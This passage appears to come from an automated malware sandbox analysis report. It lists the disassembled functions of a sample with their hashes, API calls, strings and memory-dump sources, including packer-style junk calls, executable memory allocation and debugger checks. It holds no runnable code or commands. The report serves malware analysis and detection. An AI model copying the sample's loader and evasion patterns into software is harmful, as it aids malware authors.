Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 0F012170C0425CEEDF10DB98C5183AEBFB5AF41308F1484DDC4492B281D7769B59CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 005CB920 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(msimg32.dll,005CBE83), ref: 005CB950

Strings

msimg32.dll, xrefs: 005CB922, 005CB94B

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: LibraryLoad
String ID: msimg32.dll
API String ID: 1029625771-3287713914
Opcode ID: d69ac8f07516ae5babaf28393494b8700a043927d8e5ec5c2d50b68a6a375d74
Instruction ID: 891abc78e4b4e0e2f99fad0386603cce6b3cb964d1c837374360e84fa538d917
Opcode Fuzzy Hash: d69ac8f07516ae5babaf28393494b8700a043927d8e5ec5c2d50b68a6a375d74
Instruction Fuzzy Hash: 25D0C26456B38099CB71CF24BA497553FF0B731704B54514BD0509A372CBB4494DFB9A

Uniqueness

Uniqueness Score: -1.00%

Function 023D07C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 023D07EE
Module32First.KERNEL32(00000000,00000224), ref: 023D080E

Memory Dump Source

Source File: 0000000E.00000002.1990030741.00000000023D0000.00000040.00000020.00020000.00000000.sdmp, Offset: 023D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_23d0000_87C6.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 55c85ccca08ac5f82389f286fc773321db892da745fde1b5054cae00b020096c
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 8BF096336007156FD7243BF5B88DB6F76E8AF49B25F100528E643950C0DB70E8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 023D0485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 023D04D6

Memory Dump Source

Source File: 0000000E.00000002.1990030741.00000000023D0000.00000040.00000020.00020000.00000000.sdmp, Offset: 023D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_23d0000_87C6.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 246026335ad60f78d61fa58e05e70daa09a5ea9f62cb4f9861a153a06b667f25
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: A9113C79A00208EFDB01DF98C985E99BBF5EF08750F058094F9489B361D371EA90DF90

Uniqueness

Uniqueness Score: -1.00%

Function 005CB040 Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000,?,005CBE21), ref: 005CB048

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 712627f6e3d671fe9d165d5daeeadb9750f9c8d6018b204c39530778e68b6b22
Instruction ID: fd58ec759ed296cf03c4c8f392bb4d7a75ea53041bc90eac38f44cbd12a28a23
Opcode Fuzzy Hash: 712627f6e3d671fe9d165d5daeeadb9750f9c8d6018b204c39530778e68b6b22
Instruction Fuzzy Hash: D9B092B1103100DBE3208BA0AE48B103BA8E324602F010213B60085660CB701808AA21

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 005CBB00 Relevance: 70.2, APIs: 31, Strings: 9, Instructions: 248
timememorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 005CBB32
SetLastError.KERNEL32(00000000), ref: 005CBB3A
GetConsoleAliasesW.KERNEL32(00000000,00000000,00000000), ref: 005CBB46
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 005CBB62
ResetEvent.KERNEL32(00000000), ref: 005CBBA7
InterlockedIncrement.KERNEL32(?), ref: 005CBBC0
DestroyIcon.USER32(00000000), ref: 005CBBC8
_memset.LIBCMT ref: 005CBBE3
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 005CBBF6
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 005CBBFE
GetCurrentDirectoryA.KERNEL32(00000000,?), ref: 005CBC0D
EnumDateFormatsExA.KERNEL32(00000000,00000000,00000000), ref: 005CBC19
GetStartupInfoW.KERNEL32(00000000), ref: 005CBC2A
GetModuleHandleExA.KERNEL32(00000000,tasazonobuwesixit,?), ref: 005CBC47
OpenJobObjectA.KERNEL32(00000000,00000000,00000000), ref: 005CBC93
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 005CBCA5
DnsHostnameToComputerNameA.KERNEL32(royariciguvecogowaditumihavozofilacuhadaxedayexecojafalanocitikogeduluwanifapu,?,?), ref: 005CBCBE
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005CBCD4
GetLocaleInfoA.KERNEL32(00000000,00000000,?,00000000), ref: 005CBCE7
TzSpecificLocalTimeToSystemTime.KERNEL32(?,00000000,00000000), ref: 005CBD40
SetCurrentDirectoryA.KERNEL32(00000000), ref: 005CBD48
MoveFileExW.KERNEL32(Ruz,Koyotu zoxivevicoyin dixiyutije,00000000), ref: 005CBD5A
OpenWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 005CBD66
CompareStringW.KERNEL32(00000000,00000000,sekiziguleguhu,00000000,jejalasejipakeyijinikekicelilup,00000000), ref: 005CBD7E
GetProcessHeap.KERNEL32 ref: 005CBD84
_wprintf.LIBCMT ref: 005CBDA2
_calloc.LIBCMT ref: 005CBDAE
_calloc.LIBCMT ref: 005CBDBA
_memset.LIBCMT ref: 005CBDDC
_calloc.LIBCMT ref: 005CBDF4

Part of subcall function 005CB920: LoadLibraryA.KERNELBASE(msimg32.dll,005CBE83), ref: 005CB950

Part of subcall function 005CBA50: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 005CBA8B
Part of subcall function 005CBA50: ReadEventLogA.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?), ref: 005CBAA8
Part of subcall function 005CBA50: CreateNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005CBABE
Part of subcall function 005CBA50: FileTimeToLocalFileTime.KERNEL32 ref: 005CBADE

SetProcessWorkingSetSize.KERNEL32(00000000,00000000,00000000), ref: 005CBECB

Strings

royariciguvecogowaditumihavozofilacuhadaxedayexecojafalanocitikogeduluwanifapu, xrefs: 005CBCB9
sekiziguleguhu, xrefs: 005CBD75
tasazonobuwesixit, xrefs: 005CBC40
%s %f %c, xrefs: 005CBD9D
Pev, xrefs: 005CBD98
jejalasejipakeyijinikekicelilup, xrefs: 005CBD6E
Ruz, xrefs: 005CBD55
Koyotu zoxivevicoyin dixiyutije, xrefs: 005CBD50
tl_, xrefs: 005CBB7E

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: Time$DirectoryFile_calloc$AliasesConsoleCreateCurrentEnvironmentEventFreeInfoLocalOpenProcessStrings_memset$ByteCharCommCompareComputerConfigCountDateDefaultDestroyEnumErrorFormatsHandleHeapHostnameIconIncrementInterlockedLastLengthLibraryLoadLocaleModuleMoveMultiNameNamedObjectPipeReadResetSizeSpecificStartupStringSystemTickTimerWaitableWideWorking_wprintf
String ID: %s %f %c$Koyotu zoxivevicoyin dixiyutije$Pev$Ruz$jejalasejipakeyijinikekicelilup$royariciguvecogowaditumihavozofilacuhadaxedayexecojafalanocitikogeduluwanifapu$sekiziguleguhu$tasazonobuwesixit$tl_
API String ID: 989382441-2729520857
Opcode ID: 17dbf90c6575a7b1dc114b5eed1772f5fe5563bf3d4e22f23bf0fbeb77b7ecc1
Instruction ID: 7cd02226622226ffa38fea76c291b95a36f1beab47ba32808e6d4245b6711607
Opcode Fuzzy Hash: 17dbf90c6575a7b1dc114b5eed1772f5fe5563bf3d4e22f23bf0fbeb77b7ecc1
Instruction Fuzzy Hash: 68A13171945304EFEB30DB94DD4AB997B74BB24706F1041ABF2096A2E0D7B05A88DF26

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB5E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,0040E1C7,?,0040D0C0,?,000000BC,?), ref: 0040DB9D
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,0040E1C7,?,0040D0C0,?,000000BC,?), ref: 0040DBC6
GetACP.KERNEL32(?,?,0040E1C7,?,0040D0C0,?,000000BC,?), ref: 0040DBDA

Strings

OCP, xrefs: 0040DB7E
ACP, xrefs: 0040DB6D

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ab0a5585f4728f4b083ab0203c76dcd914c290c613830b8fb672953e76dfbeaf
Instruction ID: e12e2266f2c5597963a076cac34a773335f46e64fde83a4c903977557fcff6cd
Opcode Fuzzy Hash: ab0a5585f4728f4b083ab0203c76dcd914c290c613830b8fb672953e76dfbeaf
Instruction Fuzzy Hash: 18017535A0560BBAEB219BE5EC05F5B77B8AF00759F210067F401F11C0EBB8EB49965D

Uniqueness

Uniqueness Score: -1.00%

Function 00401114 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004016F1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00401706
UnhandledExceptionFilter.KERNEL32(005D3200), ref: 00401711
GetCurrentProcess.KERNEL32(C0000409), ref: 0040172D
TerminateProcess.KERNEL32(00000000), ref: 00401734

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 6183995e8a9234be8f72c8ec433727ed1f4409292c1d0f17acdd460962d8939a
Instruction ID: 14569deebbe99a70443352391f945edaa80685d3f17305dbca174a7e4b935e44
Opcode Fuzzy Hash: 6183995e8a9234be8f72c8ec433727ed1f4409292c1d0f17acdd460962d8939a
Instruction Fuzzy Hash: 4021BBB49022469BC761DFA5E98D6453BB4BB29311F40405BE908972B0E7745A8DEF06

Uniqueness

Uniqueness Score: -1.00%

Function 00403309 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000032C7), ref: 0040330E

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 520091967093e70f54d6df6aff6eeac3e5907f5bcbc478060031739e706eef65
Instruction ID: af7747831dca90d067a641109b8f3fd4e4e1c0d0d7096b425751d24dc54ade0a
Opcode Fuzzy Hash: 520091967093e70f54d6df6aff6eeac3e5907f5bcbc478060031739e706eef65
Instruction Fuzzy Hash: 089002642725004AC7512F745D1D6056AD46A69A0375104F76101D50E4DA6442086916

Uniqueness

Uniqueness Score: -1.00%

Function 004041A0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00401549,?,00000001), ref: 004041A8
__mtterm.LIBCMT ref: 004041B4

Part of subcall function 00403E73: DecodePointer.KERNEL32(00000005,00404316,?,?,00401549,?,00000001), ref: 00403E84
Part of subcall function 00403E73: TlsFree.KERNEL32(00000002,00404316,?,?,00401549,?,00000001), ref: 00403E9E
Part of subcall function 00403E73: DeleteCriticalSection.KERNEL32(00000000,00000000,76EF5810,?,00404316,?,?,00401549,?,00000001), ref: 004046CF
Part of subcall function 00403E73: _free.LIBCMT ref: 004046D2
Part of subcall function 00403E73: DeleteCriticalSection.KERNEL32(00000002,76EF5810,?,00404316,?,?,00401549,?,00000001), ref: 004046F9

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004041CA
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004041D7
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004041E4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004041F1
TlsAlloc.KERNEL32(?,?,00401549,?,00000001), ref: 00404241
TlsSetValue.KERNEL32(00000000,?,?,00401549,?,00000001), ref: 0040425C
__init_pointers.LIBCMT ref: 00404266
EncodePointer.KERNEL32(?,?,00401549,?,00000001), ref: 00404277
EncodePointer.KERNEL32(?,?,00401549,?,00000001), ref: 00404284
EncodePointer.KERNEL32(?,?,00401549,?,00000001), ref: 00404291
EncodePointer.KERNEL32(?,?,00401549,?,00000001), ref: 0040429E
DecodePointer.KERNEL32(Function_00003FF7,?,?,00401549,?,00000001), ref: 004042BF
__calloc_crt.LIBCMT ref: 004042D4
DecodePointer.KERNEL32(00000000,?,?,00401549,?,00000001), ref: 004042EE
GetCurrentThreadId.KERNEL32 ref: 00404300

Strings

FlsAlloc, xrefs: 004041C4
FlsFree, xrefs: 004041E6
FlsGetValue, xrefs: 004041CC
FlsSetValue, xrefs: 004041D9
KERNEL32.DLL, xrefs: 004041A3

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: cbc81ace7e8aed11d47997de51eeb62a2c9a6c79db5613dd093cfc8f1bf93a05
Instruction ID: 0a0f7951c94fa4b33b50bd7d0535fda9b2e27fb8df27acd751501bc7d14e3bc1
Opcode Fuzzy Hash: cbc81ace7e8aed11d47997de51eeb62a2c9a6c79db5613dd093cfc8f1bf93a05
Instruction Fuzzy Hash: 5931A6729422129BCB31AFB9EC499563FA4EBA4354701013BF521A36F0DBB48448EF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040D6EE Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0040D707

Part of subcall function 00401955: Sleep.KERNEL32(00000000), ref: 0040197D

__calloc_crt.LIBCMT ref: 0040D72B
_free.LIBCMT ref: 0040D739
__calloc_crt.LIBCMT ref: 0040D747
_free.LIBCMT ref: 0040D757
_free.LIBCMT ref: 0040D75D
__copytlocinfo_nolock.LIBCMT ref: 0040D76C
___removelocaleref.LIBCMT ref: 0040D785
___freetlocinfo.LIBCMT ref: 0040D78C
_free.LIBCMT ref: 0040D792
__setmbcp_nolock.LIBCMT ref: 0040D7A4
_free.LIBCMT ref: 0040D7B2
___removelocaleref.LIBCMT ref: 0040D7B9
___freetlocinfo.LIBCMT ref: 0040D7C0
_free.LIBCMT ref: 0040D7C6

Strings

0|], xrefs: 0040D767

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref$Sleep__copytlocinfo_nolock__setmbcp_nolock
String ID: 0|]
API String ID: 1059994304-1299851057
Opcode ID: b8f0d97aee9be8cf3c1e73175a53d621681e84cd603fd9e2a54abedc5aa9d3da
Instruction ID: 731aa1c8d6d5dfd3d485811297dd79a8d5fd6348316387e40cc81dde167a7788
Opcode Fuzzy Hash: b8f0d97aee9be8cf3c1e73175a53d621681e84cd603fd9e2a54abedc5aa9d3da
Instruction Fuzzy Hash: CA21EA39504A01ABE7217F9AD80291B7BE4DF85794B20403FF885772E1EE399C05CE5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040299A Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 389COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00402985
DecodePointer.KERNEL32(?,?,?,?,000000A3,?,?,0000000C,00000000,00000000,00000020), ref: 00402B0C
DecodePointer.KERNEL32(?,?), ref: 00402B38
DecodePointer.KERNEL32(?,?), ref: 00402B59
__aulldvrm.LIBCMT ref: 00402CBC
_write_string.LIBCMT ref: 00402E03
__cftof.LIBCMT ref: 00402E68
_write_string.LIBCMT ref: 00402E88
_free.LIBCMT ref: 00402EF7

Strings

@, xrefs: 00402A27
g, xrefs: 00402B3E
-, xrefs: 00402D7C
, xrefs: 004029FB

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: DecodePointer$_write_string$__aulldvrm__cftof_free_strlen
String ID: $-$@$g
API String ID: 2057299650-2320099971
Opcode ID: 3b233388bc1e0d2be5f260b99171fb41453917eebfbf3a551c4252e59dc83616
Instruction ID: 0c6b8aa26e290c415140a7ae6569b2001ffdafabb190b73493d71fb60a46f5d1
Opcode Fuzzy Hash: 3b233388bc1e0d2be5f260b99171fb41453917eebfbf3a551c4252e59dc83616
Instruction Fuzzy Hash: B7F1697184422A9ADF349E14CECC7EAB7B4AB14318F1401EBD909B62E1C7B85EC5CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00402B96 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 353COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00402985
DecodePointer.KERNEL32(?,?,?,?,000000A3,?,?,0000000C,00000000,00000000,00000020), ref: 00402B0C
DecodePointer.KERNEL32(?,?), ref: 00402B38
DecodePointer.KERNEL32(?,?), ref: 00402B59
__aulldvrm.LIBCMT ref: 00402CBC
_write_string.LIBCMT ref: 00402E03
__cftof.LIBCMT ref: 00402E68
_write_string.LIBCMT ref: 00402E88
_free.LIBCMT ref: 00402EF7

Strings

@, xrefs: 004027E5
', xrefs: 00402BA7
g, xrefs: 00402B3E
-, xrefs: 00402D7C

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: DecodePointer$_write_string$__aulldvrm__cftof_free_strlen
String ID: '$-$@$g
API String ID: 2057299650-1341051917
Opcode ID: 76ae5586c39a1650f81596ab5c8d1f0d5b23a946e45a1d3a09ae6c9d5e04a12b
Instruction ID: b856c59b1c61bfd86b06f9e71de5e0df0facba10caa16237dc03d75ce004f6d4
Opcode Fuzzy Hash: 76ae5586c39a1650f81596ab5c8d1f0d5b23a946e45a1d3a09ae6c9d5e04a12b
Instruction Fuzzy Hash: 76E1697184422A9ADB349E14CECC7EAB7B4AB14304F1401EBD909B62D1C7B85EC6CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004014DE Relevance: 24.1, APIs: 16, Instructions: 88memoryCOMMON

Download Yara Rule

APIs

HeapSetInformation.KERNEL32(?,00000001), ref: 004014E4
__heap_init.LIBCMT ref: 00401533
_fast_error_exit.LIBCMT ref: 0040153E
_fast_error_exit.LIBCMT ref: 0040154F
__RTC_Initialize.LIBCMT ref: 00401555
__ioinit.LIBCMT ref: 0040155D
__amsg_exit.LIBCMT ref: 00401568
GetCommandLineA.KERNEL32(?,00000001), ref: 0040156E
___crtGetEnvironmentStringsA.LIBCMT ref: 00401579
__setargv.LIBCMT ref: 00401583
__amsg_exit.LIBCMT ref: 0040158E
__setenvp.LIBCMT ref: 00401594
__amsg_exit.LIBCMT ref: 0040159F
__cinit.LIBCMT ref: 004015A7
__amsg_exit.LIBCMT ref: 004015B2
__wincmdln.LIBCMT ref: 004015B8

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
